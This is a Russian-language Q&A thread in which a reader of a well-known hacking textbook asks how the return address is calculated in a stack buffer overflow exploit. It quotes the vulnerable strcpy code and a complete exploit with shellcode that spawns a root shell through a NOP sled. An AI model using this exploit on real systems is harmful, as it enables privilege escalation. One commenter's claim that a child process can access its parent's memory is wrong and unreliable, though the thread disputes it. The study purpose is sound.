Я читаю книгу «Хакинг - искусство эксплуатации, 2-е издание».
Меня смущает следующий пример внедрения строкового буфера в качестве аргумента для процесса, уязвимого к переполнению буфера на основе стека.
Структура буфера:
| NOP | NOP...NOP | NOP | shell code | RET | RET...RET |
В уязвимом процессе этот буфер копируется в буфер символов и должен переполняться и заменять параметры базового стека, которые также включают исходный адрес возврата.
Согласно тексту - RET должен указывать на какое-то место на слайде NOP, чтобы заставить EIP скользить вниз по слайду NOP и выполнить код оболочки - звучит великолепно!
Однако как выводится этот адрес RET?
Уязвимый код (процесс №1):
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if (argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); //<-------- buffer is injected here
else // otherwise,
searchstring[0] = 0;
Код эксплуатации - процесс №2:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret;
char *command, *buffer;
unsigned int offset=atoi(argv[1]);
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if (argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; //Set return address <---- How ???
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Это совпадение, что переменная i объявлена поверх процесса №2 main? Должен ли ret получать возвращаемое значение из некоторого места в основном стеке процесса №1?
Редактировать: В частности, я не понимаю, как один процесс может получить доступ к пространству памяти другого процесса -
ret = (unsigned int) &i - offset; //Set return address
А может я что-то тут неправильно понял.
@Tau - я не видел никаких объяснений относительно этой конкретной строки кода. Другие примеры, которые я видел в этой главе, не запускали уязвимый процесс изнутри процесса эксплуатации, и мне было легче их понять. Если вы понимаете, почему именно так вычисляется адрес возврата, я был бы признателен за любой указатель по этому поводу.
IIRC, в книге упоминается, что когда вы создаете слайды NOP, это больше похоже на игру «угадывай и проверяй», чтобы увидеть, правильно ли вы получили слайд по адресам. В конце концов, чем больше слайд, тем больше у вас места для ошибки. Что касается приближения, вы должны учитывать размер программы и размер вашего шелл-кода, а также буферы NOP и RET.
@Tau, спасибо за любезный ответ. Но я не понимаю "ret = (unsignet int) & i - offset". Это означает, что процесс №1 расположен непосредственно над процессом №2 в памяти? Более конкретно, сегмент стека процесса №1 расположен над сегментом стека процесса №2?
Процесс №1 был вызван в Процессе №2, верно? (system(command);) Если это так, то его регистры будут в более высоких адресах памяти (стек, данные, bss) или более низких адресах памяти (куча), чем процесс №2. Однако, если процесс №2 вызывается в процессе №1, то будет верно обратное: процесс №2 будет находиться в старших / младших адресах памяти.
Прошу прощения за мое незнание, я понимаю программирование так, что нужно сосредоточиться на написании безопасного и стабильного кода, а не использовать такие функции, как strcpy или strcat, когда-либо в производственном коде. Методы, которые могут помочь создать эксплойт, чаще всего являются проблемой для Owasp Top 10 и т. д.
@Tau, насколько мне известно, каждый процесс работает с адресами виртуальной памяти, которые транслируются в случайные места в физической памяти - так как же обработать память процесса №2 доступа №1, если она может находиться в совершенно другом физическом месте?
Конкретные фрагменты данных, например сам код, литералы, переменные и стек хранятся в определенных диапазонах памяти. Книга также подробно описывает это, особенно в этой главе. Когда вызывается новый процесс, адреса памяти родительского процесса (того, который вызывает другой) не изменяются. Любые новые данные будут просто сохранены в соответствующих областях памяти.
Таким образом, адреса памяти от родительского процесса (процесс №1) по-прежнему будут доступны и управляемы (если они не доступны только для чтения), поэтому дочерний процесс (процесс №2) все еще может получить доступ к памяти из процесса №1.





Итак, эта строка - вопрос
ret = (unsigned int) &i - offset;
Насколько мне известно, один пользовательский процесс не может получить доступ к памяти внутри другого пользовательского процесса. Но почему автор кода использует адрес i для вычисления обратного адреса? Для простой программы, такой как notesearch, обычно есть адреса, которые не сильно различаются, поэтому цель состоит в том, чтобы помочь читателю легко вычислить обратный адрес. Хорошо, позвольте мне описать это.
Дело 1
&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = 0
return_address = 0x0061fb20 = &i - offset
notesearch memory view
High address
0xFFFFFFFF +------------------+
| |
| garbage data |
| |
0x0061fb20 +------------------+ <- &i # EIP land here, wrong address
| |
| |
| |
| |
| return_address |
| |
| shellcode |
| |
| NOP sled |
| |
0x0060fa10 +------------------+ <- start of searchstring
| |
0x00000000 +------------------+
Low address
Как видно из случая 1, адрес возврата равен & i, поэтому после того, как ваш адрес возврата перезапишет исходный адрес возврата, код вернется к & i, которое является мусорными данными. Так как же сделать так, чтобы обратный адрес указывал на салазки NOP? Да, именно тогда в игру вступает смещение, которое является вашим вводом.
Случай 2
&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = &i - &searchstring
return_address = 0x0060fa10 = &i - offset
notesearch memory view
High address
0xFFFFFFFF +------------------+
| |
| garbage data |
| |
0x0061fb20 +------------------+ <- &i
| |
| |
| |
| |
| return_address |
| |
| shellcode |
| |
| NOP sled |
| |
0x0060fa10 +------------------+ <- &i - offset # start of searchstring, EIP land here
| |
0x00000000 +------------------+
Low address
Ваша задача здесь - вычислить обратный адрес с помощью & i и вашего смещения, чтобы EIP попадал в начало поисковой строки или NOP-следа. Чтобы вычислить его, вы должны запустить программу эксплойта в отладчике и найти & i, после чего запустить программу notesearch и найти & searchstring. offset = &i - &searchstring, offset is (+) if &i > &searchstring else offset is (-).
Книга очень подробно объясняет эту концепцию в этой главе. Пожалуйста, прочтите оставшуюся часть указанной главы. Вы также можете использовать диск, который поставляется с книгой на виртуальной машине Linux, чтобы увидеть, как запускается код самостоятельно.